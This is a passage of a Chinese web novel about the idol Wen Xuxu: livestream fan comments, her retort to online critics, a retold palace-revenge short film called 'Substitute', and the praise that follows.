直播间观众这次又默了片刻被江恒这话吓了一跳。 {不是吧不是吧!我没理解错吧,是夜阑老师跟温栩栩先拍了MV后江恒也插进来要拍MV所以三个人一起拍的,看样子还拍了三个版本!温栩栩这手拿的什么剧本啊,娱乐圈大佬都爱我的剧本吗?夜阑老师宠他江恒也宠她全都去MV里给她做配咦呜呜呜呜我好羡慕好想魂穿温栩栩!} {笑不活了,前面还有人说夜阑老师绝对不可能跟温栩栩一起拍MV结果现在江恒老师这嘴叭叭叭的把真相说了,你们夜阑老师不仅跟温栩栩拍MV了,还连个男主的角色都分不到哎。某些人眼红也没用,再眼红夜阑老师也不会跟你们拍MV!羡慕不来。} {我猜等MV上线后指不定又有脑残扑上来骂黎氏娱乐分配给温栩栩的资源比别人的好了,温栩栩资源的确是组合里最好的,其实真没必要一直拿资源来说事儿,有些人天生就讨人喜欢那也是没办法的事,长成温栩栩这样还有天分的谁都喜欢谁都想合作,毕竟有眼睛有脑子的都喜欢跟天价的璞玉合作而不是跟没价值的石头合作,是这么个道理吧,但偏偏有些人就是不懂非要把水搅浑觉得自己委屈。我说句不好听的,同样是一档节目请温栩栩能火,但请某些人能火吗?演员节目能爆到这程度不也因为温栩栩和江恒才出圈的?他们那档选秀综艺爆火连带着真个组合晋升为国内排位第一的女团不也是因为有温栩栩?温栩栩一个人带飞多少人啊。所以这压根不是他们施舍给温栩栩资源,也不是温栩栩去求资源,而是双向合作互惠互利了,聪明人都懂。} {楼上说的太对了,这就好比你炒股搞投资,明知道这股票会涨你会瞎了眼的不买这支股票跑去买另一支不知道赔还是赚的股票吗?所以也别总逮着温栩栩说资源方面的问题了,她资源好是靠自己争取来的。} 有些人的粉丝还想跳脚却被这一段段的话怼的闭麦,这时候再发言显得她们十分愚蠢似的。 上午十点温栩栩参加的演员节目组发布比赛规则,所有参与决赛的演员艺人都拍摄了短片,节目组上传三十分钟的短片由最后得票数最多的人获胜成为演员最终的冠军。 可以说是真的将选择权交给了观众。 决赛那四个跟剧本有关的词条分别是“替身”“校园”“逆袭”“商战”,温栩栩抽到的是“替身”最终拍摄的成片名字也叫《替身》。 短片已经放出去,演员节目组给姜渔打电话那边没人接听不得已打给温栩栩让她转一下演员官博发的有关于决赛投票的微博。 因为之前温栩栩参加演员节目播出的片段都能让人知道她的演技有多好,粉丝们也都在期待温栩栩后面的短片。 温栩栩应下后转发微博,直播间的粉丝十分激动。 {啊啊啊啊啊,虽然演员综艺还没有播到温栩栩后面的镜头但是节目组说要上传决赛拍摄的短片进行投票这代表什么!代表温栩栩走到决赛了啊!} {妈妈我粉的人真的超级超级优秀!} {我姐姐果然说到做到,说过自己要做全能爱豆就真的全能爱豆,说是C位出道就C位出道,说要做演员现在就跑去参加演员节目还走到最后!冠军!妈妈这就去给你投票!} 这些激动的是温栩栩的粉丝,还有些是水军黑粉对此嗤之以鼻。 {呦呦呦,一个新人爱豆去参加演员综艺把一众老牌演员压在下面,她要真成了冠军那不是惹人笑话吗。} {讲个笑话,一些演戏演了十几年的演员最后输给了刚出道三个月的女爱豆,还是一个没拍过什么戏的女爱豆!} {要不说现在这娱乐圈只要你长得好看够豁的出去什么资源都手到擒来,这个奖那个奖都往你手里送?温栩栩可不就是这样的?她要夺得冠军说没有猫腻谁信!} 第568章 争论 温栩栩粉丝被气了个半死,这件事也果真让有心人抓住把柄大肆宣扬。 无非就是说温栩栩能走到决赛对其他演员艺人不公平,骂节目组让温栩栩走后门,内涵节目组有黑幕。 有人更是提起温栩栩入圈以来没什么作品,《黑暗侵袭》大爆但电影里她只有那一分半的镜头,又说温栩栩救场的电视剧还没上映没人知道温栩栩把女三号演成什么样,那视频和照片拍的再好也不代表真有演技。 至于演员综艺第一期温栩栩跟江恒合作的校园青春短剧被他们嘲讽说青春剧最好拍谁都穿上校服都能来一段,直把温栩栩贬进泥地里。 因这件事情闹得太大,微博又是一片乌烟瘴气,温栩栩翻看了一会儿竟然笑起来。 江恒被气的够呛拿了手机就要替温栩栩去网上怼黑粉。 “没必要。”温栩栩转发了演员官博发出的微博后摁灭手机并夺了江恒的手机直接关机,“其实这种结局我早猜到了。” “我猜过参加演员综艺我会得到什么,其实来参加这档综艺的谁都想拿到冠军证明自己的实力,我当然也想。但因为我只是一个才出道不久的新人,如果我拿到冠军必然会有很多人看我不顺眼认为我德不配位认为新人没有能力拿冠军,新人拿了冠军那老前辈们要如何自处,我还不需要拿到冠军,只要我走到决赛所有攻击谩骂都会朝我袭来,因为他们觉得新人第一轮就该被淘汰,能走到决赛那一定是节目组帮我开了后门。” 温栩栩嘲弄的勾唇,“像不像某种评职称的体制,比如你在一家公司上班,只要你是新人,不管你工作完成的多出色业绩多好只要你升职就会被人嚼舌根说老前辈们熬了这么久还没升职你一个新人凭什么升职,是不是跟副总或者跟某些高管有了钱色交易。一些大学凭职称又有多少新人老师被某些老前辈们夺去了晋升的机会?他们是因为实力不行所以晋升的慢吗?当然不是,只是因为他们年龄不够还不是前辈,可不可笑。” “在娱乐圈那就更有意思了,他们会骂的更脏,毕竟公司也好大学也好还只是小圈子,可如果一脚踏进娱乐圈作为公众人物,你是新人你就要为老前辈让路否则你就是跟某些人进行了某种交易,他们会用你想象不到的最恶毒的言论去辱骂你,什么肮脏、恶浊的词语都会堆砌到你身上,因为你是明星你是新人所以你就要承受这种恶意和这种无端的谩骂。” 温栩栩望向车外扯了扯唇角,“可我在乎吗?难道就因为这种没有脑子现实生活中可能养活不了家庭只能隔着网络来发泄的键盘侠骂出的脏话我就要丢掉我快要到手的荣耀吗?他们配吗?他们当然不配。” “他们那种透过网络能骂出这种肮脏词汇的人无非就是这几种人,一种是没有接受良好的教育没有人教会他们什么是礼貌什么是尊重。一种是在外面卑躬屈膝自己生活过得不如意无法养活家庭乃至自己所以看到过的比他们好的人就要进行无差别攻击。还有一种则是反社会人格。” “知道吗,那种没有接收到良好教育的人我为他们的父母感到悲哀,这种人如果出入到社会上他们还是这么嚣张,迟早会被教做人。而剩下那两种,或许我买件衣服比他们一个月的工资都要多,所以我为什么要为这种在我眼里还不如草履虫有价值的人而烦心?我不如想想我该接什么戏做什么投资让自己过得更好更充实。” 温栩栩对此丝毫不在意,甚至讽那些人在她内心连单细胞的草履虫都不如。 直播间的粉丝纷纷夸她活的通透。 有一直关注温栩栩直播间的狗仔记者立刻把这段话照搬到微博上把这段话作为温栩栩对那些嘲讽的回应。 #温栩栩怼低素质黑粉# #温栩栩回应演员决赛争议# #前辈和新人的差距# 温栩栩这通话还真就引起了很多人的共鸣,有些人纷纷为温栩栩鸣不平并为此附和。 {我在##大学念书,我们老师就是因为年纪不够,最后评职称的时候被某位抢了名额,知道那位老前辈说的话多恶心吗,原话就是“等你到了这年纪就能评上了”我差点被恶心吐了,别问我怎么知道的,我是去送资料的时候在门口听到的!我们老师是一位特别好的女老师,且年纪轻轻长得漂亮但也因为这样一直被那些老家伙暗地里嘲讽我们老师陪了人才有今天!不仅嚼这种舌根还抢我们老师的资源美名其曰我是前辈!前辈找你“借鉴”你的资料那是你的荣幸!} {看了楼上的发言,我不得不说国内各大高校普遍都是这样,毕竟某些上了年纪没用的也就只能凭着一把年纪来压人了呢。} {温栩栩那段话简直说出了我的心声,我大学毕业后进了我们公司销售部,因为业绩一直非常好排第一上面有意让我当了组长后就一直被人议论说我跟经理有一腿,说我的单子都是经理让给我的说我被经理包养!后来我熬到了经理的位置,原来的经理因为转移公司客户被开除,那群人又嘲讽我忘恩负义为了升职就踹走了经理,还说我上面有人,又说什么谁升职都不该轮到我这个新人!恶心透了!新人怎么了!新人能力强就不能出头了吗!} 无数人为温栩栩发声,而温栩栩的《替身》短视频也正式在网络上更新了。 视频开头就是一名一身红衣装扮的豆蔻少女鲜衣怒马,一手执马鞭骑在骏马身上,那双勒缰绳的手特地给了特写,那是一双莹白如玉又像是柔弱到没有骨头的一双手。 可这样的一双手却紧握着一根黑色马鞭,更衬得肤白如雪靓丽生动。 她翻身下马提着手里一只圆润可爱的兔子抱在怀里朝远处小跑了去。 第569章 功高震主 远处那二人一人衣着华贵样貌温润俊朗,另一人只着一席样式普通的黑衣服饰,但容貌却十分惊人,只懒洋洋的挑挑眉一股子慵懒之意裹挟了那么几分轻浮,偏生这样的人怀里抱着一柄剑还不带半点庄重也方能从中瞧出这人是练家子。 二人看到来人默契的互看对方一眼,那轻浮男子把长剑掷到华贵男子怀里抱住扑过来的少女,画面一转便是那抱着兔子的少女,她五官明艳动人却又给人一种不真切之感,只瞧着便觉得眉目如画不存于世,抱着兔子更肖似九重天仙人。 可她却又俏皮灵动,一双桃花眼像盛满了星光邀宠一般让二人看她捉来的兔子。 “大哥,这是我好不容易捉到的兔子,不过可惜我学艺不精没能捉住那只通体雪白的小狐狸。”她蔫哒哒的,眼神都失了几分神采,轻浮男子正是江恒扮演的苏清远。 他十分宠溺的望着温栩栩饰演的苏萝翻身上马:“一只雪狐有何难捉的,大哥这便给你捉一只回来。” 他语气十分随意:“阿恒要帮我照看好妹妹才是。” 苏清远身姿博然英气,苏萝在原地望着他驾马而去的背影眼底只余惊艳。 一旁万人之上血统尊贵的新帝由流量演技派陈宇扮演的宋恒掌心抚摸着那柄长剑的剑柄,似是望着远去那人的身影低头轻笑几声,像是无奈。 十日后苏萝以皇后的身份被迎入皇宫。 她乃镇国将军之女又有皇都第一美人之称,世人也皆知皇帝宋恒倾心于苏萝,二人恩爱的话本也流传甚广,提起皇帝便要说起他的爱妻苏皇后。 皇帝惯爱带着童心未泯的苏皇后离宫去往民间陪她学那寻常百姓家夫妻二人放河灯放烟火。 旁人都知皇帝后宫三千却唯爱苏皇后椒房专宠苏皇后,时常有人弹劾妖妃祸国。 然苏皇后家大势大乃镇国将军之女,大将军镇守边关为国为民谁也不敢把话说重了惹怒圣言,皇帝宋恒对她的宠爱也愈发放肆,日日留宿椒房殿。 直至边关遇袭传来大将军卖国苟且偷生的消息。 朝堂重臣终于抓住苏家把柄一路弹劾,不论边关消息是否属实,罪已定下。 苏萝为此大病一场数次恳求皇帝彻查此事却始终不如意,等兄长苏清远的死讯也传到后宫苏萝才深知苏家整个全垮了,苏家百十来口人除了她皆被斩首示众并扣上罪臣的帽子,没人为其敛埋尸骨。 曾经手握重权的苏家终究还是倒了。 苏家满门忠烈,苏萝不肯相信父亲做出卖国这等苟且之事,却又不得不退居后宫蛰伏收敛锋芒。 直至接到手下暗信方知皇帝宋恒在冷宫藏了一人夜夜欢好,苏萝只觉可笑却又不得不换了身装扮待夜半时分跟了去,终于在黑夜中看清那交缠在一起的两人。 雌伏在下那人容貌精致雌雄难辨,黑丝长发遮掩住半张脸。 那张脸……却仍叫苏萝一眼看出那人本该是已经死在边关战场的兄长苏清远。 而她的夫君当朝帝王却早已没了平日里装出的儒雅。 他像是患了病紧紧抱着苏清远,声音都透出几分病态:“清远,你是最懂我的,我不是不想留苏家,可我坐在这位置上就一定要除掉苏家,留着苏家一天我的皇位就每日悬空着,我心里不踏实,清远,你别怨我,你别怨我……” 宋恒不自称为朕,在苏清远面前他不用那尊称。 他有些癫狂的抱着柄长剑,那剑也是苏清远曾为他寻来特意赠予他的,此刻被他当做宝贝一样抱在怀中。 他有些痴狂的说:“清远,我知你恨透了我,是我毁约没能留下你父亲一条命,可我与大将军约谈,大将军不肯如此蝇营狗苟的活着选择自尽而亡,我们已经走到这一步如何还能后退,你可还记得你说过哪怕与天下人为敌也定会为我护住这江山,清远,清远……你要帮朕,你要陪着朕,朕不能没有你……” 他像是孩童一般在他怀中蹭着,声音透出几许苍凉之意。 苏清远身体羸弱却终是妥协的握住宋恒的手,他脸上轻浮之意早便消了去唯余认真:“事已至此无需再提,你要知晓错的不是你。” 苏清远面露几分挣扎之意:“说到底是苏家功高震主了。” 宋恒破涕为笑二人情意绵绵,却陡然提到皇嗣一事。 宋恒哄着苏清远:“自我登基以来从未碰过旁人,只等阿萝为我们生下孩子,只有阿萝生下的孩子才最像我们二人,她长得那般像你,孩子也定是一半像我一半像你,等她诞下皇嗣我便立刻江他为皇储日后继承大业,这天下终是你我二人的。” 苏萝捂住脸,眼泪奔涌而出却不敢发出半点声音。 滚烫的泪水不停落下染湿前襟,她此刻只觉痛彻心扉。那双曾经璀璨无比的黑眸在后宫的磋磨中一点点失了光彩,此刻更是蒙上一层雾霭犹变得死气沉沉。 苏萝失魂落魄的回到宫室抱住膝盖痛哭不已。 假的,全部都是假的。 从一开始就是个骗局! 可怜我苏家一早就在这棋局之内被人耍弄,苏家功高震主? 我苏家忠心为主,自苏家镇守边关多少苏家血脉死于战场以血明志,可到最后终是抵不过帝心难测人言可畏,说什么最尊敬大将军,说什么有将军乃是大唐之福,虚伪至极可笑至极!他说这些时内心早已想了多少手段要致苏家于死地!我苏家矜矜业业为帝为民为大唐抛头颅洒热血多少苏家人落得马革裹尸的下场!可最终换来的什么? 兄长被父亲教养长大教他忠君爱国教他礼义廉耻教他深明大义…… 他便是爱男子又何妨,可为何,为何明明知晓宋恒的心思却还要将我嫁进这深宫!他明明知晓宋恒想除掉苏家为何还要做了那把帝王之刀害了苏家所有人! 苏萝心中的恨意早已压制不住,她犹如狰狞恶鬼披头散发在内心深处咆哮。 苏萝哭到最后倏然又抹干眼泪,眼底早已经没了感情。 透过那面铜镜看到镜中女子的绝色容颜以及那一双深不见底的黑眸。 第570章 复仇 她跪于蒲团之上颂念经文,那双黑眸早已去了天真唯余世故。眼底倾泻而出的情感仍叫人肝肠寸断。 那一夜,苏萝跪的是苏家人,断的是与苏清远的兄妹情与宋恒的夫妻情分。 她是苏萝也不再是苏萝。 她开始步步为营借由贵妃之手毒死皇帝宋恒后又率皇宫禁卫军逼死贵妃。 宋恒在世时只宠幸苏萝,苏萝每每早已灌下绝育药此生都不会为宋恒诞下子嗣。 宋恒兄长德亲王早逝却留有两名幼子,苏萝请命从德亲王府过继一名孩子作为皇储接回皇宫登基为帝。 小皇帝登基当天苏萝已经贵为皇太后垂帘听政且为苏家平反为苏家众人立下衣冠冢。 当夜,苏萝亲临冷宫,苏清远已被废掉双手双脚且,四肢还被套牢关押在冷宫之中苟且偷生度日。 那张精致面容却十分惨白沧桑,反观他记忆中天真烂漫的妹妹却华服加身满身戾色。 苏萝推门而入身旁的小太监立刻殷勤擦拭凳子,苏萝驻足良久终归是坐在木椅之上,只细细打量他半晌:“苏清远,你可知现在外面是何年号。” 苏清远嗓音沙哑久久未能言语,苏萝垂眸轻笑一声:“已是景丰一年,妹妹不负苏家所望还了苏家清白。” 苏清远瞳眸瞪圆,赤红的血丝狰狞的盘亘在眼底喉间发出可怖的嘶吼,像是被围困无法反抗的兽类,又像是痛到极致却是满脸热泪,他想握拳,但被挑断手筋脚筋全然使不上力度,只能含恨的凝视着面前人,他扯着嗓子,终是吐出话来。 他问:“为何。” 他在问什么? 为何要杀宋恒为何要打断他手脚。 为何变成现在这副可恨的模样亲兄妹变仇敌。 为何将他布置好的一切都全盘打乱。 为何要让他痛苦如斯。 苏萝拊掌而笑:“这二字竟是由你问出来,我以为该是我来问你才是。” 她眸色悠悠转冷,声音也十分温柔只那话语中却藏匿着冰冷的弑杀之意。 “为何宋恒不爱我却还要十里红妆迎我入宫为后专宠我一人?” “为何苏家满门忠烈最终却被宋恒以功高盖主算计含恨而终作为结局?” “为何我的好兄长与陛下情投意合却要算计家人算计妹妹只为守住他那皇位?” “为何在你眼中家国兄妹都比不上情情爱爱?为何你作为苏家嫡子却如此自私为己?” 她每问一句声音便轻上一分,像是在问苏清远又像是在询问自己。 “为何你二人的情爱要牵扯到旁人身上要旁人为你们殉葬做祭品,为何也不肯放过他……” 她又是低低的笑了,似是有几分痴狂泪意:“这些话你答得上来吗,你能给我答案吗?” 她问他,却早已不盼着他能给自己什么答案。 苏清远呕出一口鲜血却是急火攻心,立刻有太医灌了一碗汤药进补吊住他这条命。 苏萝低头待他缓过劲后方才开口:“可还记得我抓到的那只兔子和你送予我的那只雪狐。” “它们曾经都尚处于幼年,我一直将它们养在一处,那雪狐极为聪慧总是听话懂事的守着我那兔子,可不久前它不知为何撕烂了我那兔子,那兔子五脏六腑都被它吞吃入腹只余那雪白的皮毛在笼中。” 苏萝眼神冰冷:“可见是我太蠢,早该知道狐狸和兔子不能养在一处,即便才刚出生也去不了它的天性。” 苏清远干呕着面色惨白一片,苏萝缓缓道:“我留你一命仅仅因为你是苏家最后的血脉,我只需你与女子欢爱留下苏家的种。” 她闭上眼睛语气毫无波澜:“倘若你不愿且在此前死在冷宫,我便扯下你与宋恒那块遮羞布让天下人都知你二人做下的好事并请说书人在皇都乃至其他城镇传唱你二人苟且之事并于你死后尸首悬挂皇城门外以儆效尤。不仅如此我更会让宋恒与他那些妃嫔葬在一处,你就是死也不能跟他葬到一起。” 苏清远眼睫颤了颤,终是哑着嗓子:“我做。” 如今他就是苏萝脚边为了延续苏家血脉的一条狗。 苏萝留他一命不是碍于兄妹之情,早在苏清远为了情爱枉顾苏家生死时她们二人兄妹情就已经断了,她留她仅为苏家。 她含笑挑眉离开冷宫,门外早有女子候着,待她离去,那女子才敢踏进冷宫关上那房门。 苏萝面上含笑,身边的小太监在一旁说着好听话,又提起幼帝吵着要见她。 提幼帝苏萝才终于露出温柔的笑意,远远的小皇帝便口中唤着母后于她行礼。 苏萝垂眸望着他,像是所有忧愁悲伤都在此刻消失不见。 镜头逐渐模糊,皇宫高墙变成青砖房,那少女头发乱糟糟的身上穿着小厮衣服正要往下跳,身后且跟着不少小厮将领喊着小姐。 她努努鼻子哼了一声,却见青砖房那颗桃树旁一名白衣男子,那男子容貌十分俊美,他笑了一声一双浅棕色的眸子带着柔意的瞧着她。 她一时看呆片刻,眼见小厮们追上来,她纵身一跃,男子一只手臂箍住她腰身,漫天桃花纷纷扬扬洒落在两人发梢之间。 苏萝面色绯红,镜头恍若在此刻定格,画面再度转到她与小皇帝携手上朝听政那一幕。 “宋恒为高位害你性命夺你皇位,今日我便让你的儿子登基为帝。” 苏萝唇角勾起一抹笑意,画面一黑短剧终于结束。 看到最后的网友完全没想到这反转啊, 打从一开始他们按照正常套路来猜以为温栩栩演的角色是哪位女角色的替身! 哪知道温栩栩不按套路来成了自己亲哥哥的替身!皇帝和自己亲哥哥搞上了,自己被皇帝看上理由是自己长得像哥哥皇帝想让自己生一个像他俩的皇嗣!最坑的是一开始他们还猜苏萝是不是有点喜欢皇帝才会这么恨,结果皇帝也是替身!从始至终都是那位德亲王的替身!你把我当替身我也把你当替身!这简直就是一个死循环啊。 第571章 替身 《替身》短剧因为剧情一时登上了热搜,这剧情反转太快是谁都没想到的。 【我以为是苏萝把皇帝当成替身或者皇帝把苏萝当成替身只这么简单而已,万万没想到他们都是替身,特别是苏萝还成了自己亲哥哥的替身!这谁敢想!看到最后夜阑老师出场才发现夜阑老师演的是德亲王是苏萝心里的白月光,其实苏萝一开始想嫁的人是德亲王吧!】 【细思极恐,因为苏萝的父亲是振国大将军,作为大将军的女儿嫁给任一皇子都可能会被老皇帝针对认为他们有拉拢苏家的心思,所以苏萝是绝不可能嫁给德亲王的,而德亲王在老皇帝去世前被逼赐婚娶了旁人,但苏家千金碍于身份也绝不会嫁给德亲王做妾,再加上苏萝的哥哥苏清远跟宋恒从小一起长大感情深厚估计两个人早就在一起了说不定德亲王就是被宋恒和苏清远联手害死的。那时候的苏萝不知道德亲王的死因又因为心爱之人已娶妻所以退让选择嫁给样貌与德亲王有几分相似的皇帝宋恒。且就算宋恒没能当皇帝最后赢家是德亲王那苏萝也绝不可能嫁给德亲王,在他眼里苏家已经跟宋恒捆绑到一起了,一旦宋恒落败德亲王上位势必要除掉苏家,就算德亲王上位后宽恕苏家那苏清远也绝对会为了宋恒孤注一掷,他既然能为了宋恒害死苏家所有人,这次一样能够为了宋恒放弃家人,所以从一开始就是死局,不管怎样苏萝最终都不会有好下场,而短剧中已经是苏萝走出的最完美的结局!} {看前半部分时我真的是边看边笑,画面美人美感觉宋恒和苏萝两个人甜腻的不行,当时我还觉得啊啊啊这就是爱啊!可看到后面浑身发冷,前面那是爱吗?不,那是透过苏萝那张脸在想着苏清远吧!每次宋恒带苏萝出门宋恒买什么都会提到苏清远,苏萝说喜欢吃董记的桂花糕宋恒笑着说“和你哥哥一样贪吃,不过清远最爱吃豌豆黄”我当时还以为他们真的只是兄弟情!妈惹现在想想这是奸情啊!还有一个细节不知道你们注意到没有,宋恒带苏萝去首饰铺子时苏萝挑了簪子,宋恒买了个雕刻兰草的白玉簪,后面这白玉簪就出现在了苏清远的头上啊!宋恒在冷宫与苏清远苟且的时候那簪子就放在床榻枕边!】 【结局苏萝去冷宫见苏清远时苏清远头上还别着那白玉簪!妈的呜呜呜这两个狗男人真的可恨,我一边觉得他们恶心因为自己的情爱建立在别人的痛苦之上一边又为他们的禁忌爱情感动,这两个人是真爱啊!虽然自私但他们是真的很喜欢对方!} {苏萝和苏清远是亲兄妹,第一眼看上去苏清远吊儿郎当却是个胸有沟壑能担重担挑起苏家大梁的男人,而苏萝则是娇生惯养宠大的娇小姐。可往后看才能知晓被宠坏的是苏清远,苏萝才是从头到尾活的最清醒的那一个!】 【苏萝知道自己作为镇国将军的女儿不能左右自己的婚事,她只有一条路可以走,就是嫁给未来的皇帝,所以她从未在人前提过德亲王把心事全都藏起来。前面有朋友提到宋恒没继承帝位前有苏家人传话给苏清远说德亲王遭遇匪祸尸骨无存时三人的反应,宋恒是叹了口气,苏清远反倒是十分冷静说了句:“不该他的不能强求,否则只会遭到反噬。”当时苏萝在院内玩兔子,抓着兔子的手都在用力以致兔子以致在蹬腿,那时的苏萝一定十分悲痛,但还是忍住了。后面苏萝就再没穿过艳色的衣服,足足穿了一年的素色衣服。她爱德亲王,但因为身份她爱的克制且理智没让苏家蒙羞却把自己困于牢笼余生都在痛苦之中,反观苏清远呢?作为苏家嫡子苏萝的亲哥哥他却跟皇帝纠缠在一起,为了那所谓的扭曲的爱自己为苏家设下陷阱害了苏家满门最终却隐了姓名藏在冷宫跟自己的妹妹抢夺夫君等候皇帝的垂怜。他们是亲兄妹但做出的选择截然相反,苏清远这样的人不是爱宋恒吗?苏萝就使计毒死宋恒又逼着他跟女人亲热为苏家留血脉,逼着他不得不做,他这种人活该被苏萝这样折磨!} {苏萝真的活得好清醒啊,她知道自己喜欢德亲王却碍于礼法身份从不追问与德亲王有关的任何事,嫁给宋恒后仍旧活得逍遥自在,知道苏清远和宋恒的丑事后她虽然有过苍然无措但还是很快镇定下来一步一步设计他们入了局成为真正的赢家,这样的女人实在是飒实在是帅爆了!} 《替身》短剧一上线播放率就一直上涨,前面才黑了温栩栩演技不行的帖子都有些站不稳脚了。 评论区立刻有了反转。 {xswl说温栩栩演技不好的长眼睛没有?她跟江恒演校园剧时说那是青春剧好演?你来给我在舞台上那么自然的演一个?还有现在上传的这个《替身》短剧!好好看看这叫没演技吗!这个短剧我反反复复看了三遍才来评价,这短剧的剧情不能说多有内涵,但温栩栩的演技我是绝对认可的,看到温栩栩前半部分面对宋恒和苏清远的眼神,对苏清远是依赖对宋恒虽然熟络却也带几分疏离,后期看苏清远和宋恒的眼神就有了很大的转变,你感觉她望向两人时是有情义的,但偏偏能感受到眼底的冰冷恨意,她没有靠妆容来黑化,仅凭的是“眼技”这也叫演技不好!} {说温栩栩没有演技的……去看看《替身》短剧吧求求了,我看到结局苏萝去冷宫最后一次见苏清远时,她看到苏清远断手断脚像是个废人时其实眼尾是红的,但她还是做出那副得意优雅的姿态,她不只是在伤害苏清远更是在伤害她自己,苏萝这人重感情,即便苏清远做下那些恶事,可现在活着的唯一的血亲也只有这个一直待她好的苏清远,她恨也悲,所以几次眼睛望向别处,调整好呼吸后才再次开始若无其事的说话,我看到这里真的能代入自己,那时眼泪都流下来了,我感觉到苏萝并不觉得报复苏清远得到了快乐,我透过屏幕听到她的心在哭泣。} 第572章 她该红 {温栩栩的苏萝让我心疼,她对苏清远问了一句“为何也不肯放过他”当时我看到这里这个“他”我以为是字幕打错了字把“她”打成了“他”,而且这里的温栩栩声音太轻了,像是在自我呢喃好像根本就不需要苏清远回答,只是在问自己,其实那时候她心里是有答案的,问了那么多无非是想发泄,忍到最后的发泄。一直到结尾我才知道这个“他”是德亲王,她和德亲王初遇时两人恐怕就情根深种了,德亲王看她的眼神是带着几分爱意的,就像古代话本写的那样,一见倾心。但碍于彼此身份他们都不能为自己的婚事做主。不知道有没有人注意到一点细节,前面苏清远和宋恒提到过德亲王一开始是无心帝位的但不知为何到后面却有了做储君的心思想要争夺帝位。我可以猜想一下德亲王为什么突然改变想法?我唯一能想到的解释是德亲王在遇到苏萝后才有了这心思,因为他知道苏萝作为镇国将军的女儿只可能嫁给新帝,为此他才想争一争。我为什么会这么猜呢,苏萝接幼帝回宫后问起过德亲王的事,幼帝说听她娘亲提起父亲本是不爱花的,后来在后院种满桃花,苏萝听到这里时明显眼神闪烁。苏萝和德亲王一样本也不爱花的,但自那日后她就独爱桃花,只因遇见德亲王那日漫天桃花。所以德亲王是喜欢苏萝的,可以推论德亲王为了苏萝想夺皇位最终被宋恒苏清远顶上设计谋害。这个剧真的虐,温栩栩的苏萝也真的让我看到她的演技,她让我看这短剧时代入其中没想起来她是温栩栩,好像她就是那个苏萝,只能说真绝。} 评论区全都是吹爆温栩栩的演技,温栩栩演的苏萝从天真烂漫到情窦初开乃至最后的睿智独立都令人震撼完全看不出是新人演员,那些黑她演技的就像是跳梁小丑。 这短剧的宋恒由陈宇饰演,苏清远是江恒,而只有一镜的德亲王则是夜阑友情客串,陈宇的演技是没得挑的,夜阑作为影帝更不必说,温栩栩也凭借实力挽回口碑,江恒的表现让粉丝们嗷嗷的哭,路人更是震惊全家都没想到这能是江恒演的。 江恒粉丝在江恒微博下大骂江恒演了个渣男,边骂边夸虽然是渣男但是演技明显进步了,渣的她们一边心疼一边想骂,为此还圈了不少粉。 为此圈内有不少人开始内涵一些没演技的流量明星:“江恒都学会演戏了你们怎么还只会瞪眼呢。” 以前但凡提到流量明星没演技这事儿绝对排头一个的就是江恒,每每都是江恒吸引火力第一个被吐槽被骂,可现在这人会演戏了!为此不少流量明星有些心惊胆战暗中联系表演老师学习表演,江恒闹这一出流量艺人们都开始因为演技内卷了。 温栩栩的表演老师此刻站出来提到温栩栩演技一事对此十分气愤 对方先是对《替身》短剧进行了点评夸奖她有灵气后对一些黑粉进行严厉批评为此还贴出了温栩栩在A大这些年参演过的一系列舞台剧角色。 从大一到大四温栩栩一直在磨练演技,在A大校内联系,张妍喜欢她告诉她想要练好演技就要上台多磨练,温栩栩便多次到各种薪酬低的舞台磨练演技,三年内一直不曾停歇,后来A大的一些老师因为私心故意夺了属于温栩栩的资源分给其他学生,温栩栩也没有放弃表演,大四的时候仍然参演各类舞台剧,音乐剧她演过,伴舞她当过,舞台剧也一直在演还在为了台词配广播剧。 这样的人她能没有演技吗?她不该红吗? 她漂亮优秀有天赋,而这样的人还聪明努力有野心,这样的人她只需要一个契机就能一步一步往上爬。温栩栩能火不是巧合是必然! 表演老师为什么最喜欢温栩栩为什么频频能为温栩栩出头? 就因为温栩栩这些年活得太辛苦,她不想也不愿意她最爱的学生遭受到这种网络暴力,她希望她的眼睛一直都是亮的不要再遭受什么大磨难。 说温栩栩没演技那些黑粉不敢吱声也不乱蹦跶了,像是被温栩栩的演技打击到了,也可能是后面那些人看了这短剧知道再无脑黑下去就成了一出闹剧,毕竟观众也不是瞎子,有演技没演技他们看不出来用你们在这里说谎带节奏吗? 一条黑热搜#温栩栩演技#点进去水军和黑粉早撤了,铺天盖地都是在夸温栩栩演得好还有江恒粉丝感谢温栩栩带飞江恒的评论,一水儿的全都是夸奖。 温栩栩大粉为此敲锣打鼓的发散消息求票为此还转发抽奖,前提是必须有给温栩栩《替身》短剧投票的截图。 趁着这波热度《替身》的播放量是其他三个视频的三四倍甚至还在以最快的速度跟她们拉开距离自然票数也更高。 而闹出这风波的时候温栩栩那群守在直播间没走的粉丝一边看《替身》短剧一边看自己偶像在厨房洗手作羹汤,看她起锅烧油动作利落熟练完全不是花架子。 鱼头豆腐汤炖成奶白色隔着屏幕都能闻到那香味儿,辣子鸡丁跟红红绿绿的辣椒放到一起过油爆炒色彩搭配的让人看着就吞口水,还有后面上桌的酸菜鱼,鱼肉被切片鲜嫩的鱼肉下面是下饭解腻的美味酸菜。 没开吃就已经让人饿的咕咕叫了,后面的手撕包菜,拍黄瓜,酸辣土豆丝,蒜蓉油麦,炝拌金针菇有的是解腻的有的是下饭的,全都摆上桌叫人看着就搓手想跑到饭桌前闷头偷吃! 第573章 怎么还无差别攻击你下属呢! 温栩栩粉丝简直快要哭了,一边开着电脑看《替身》短剧被虐的嗷嗷叫,一边又被手机直播里自家粉丝做的饭香的吸鼻子,饿了!想吃! 江恒粉丝也是目瞪口呆。 {我温姐真全能!姐姐娶我!我为姐姐暖床嘤嘤嘤!} {姐姐喜欢女孩子吗!性别不要卡那么死好不好呜呜呜我爱姐姐!我要嫁给你做你的小娇妻!} 助理推门进来为黎云笙汇报工作时听到办公室传来温栩栩的声音还以为自己幻听了,他站在门口怀疑温栩栩什么时候趁着自己不备溜进了总裁办公室,他内心嘶了一声实在担心自己听到什么不该听看到不该看的。 助理非常小心谨慎的打算关门离开,也没注意到是直播。 “好啦~这样我们今天中午的大餐就全都做好啦~要给你们报个菜名吗?辣子鸡丁,酸菜鱼,糖醋里脊,鱼头豆腐汤,手撕包菜,拍黄瓜,酸辣土豆丝,蒜蓉油麦,炝拌金针菇。” 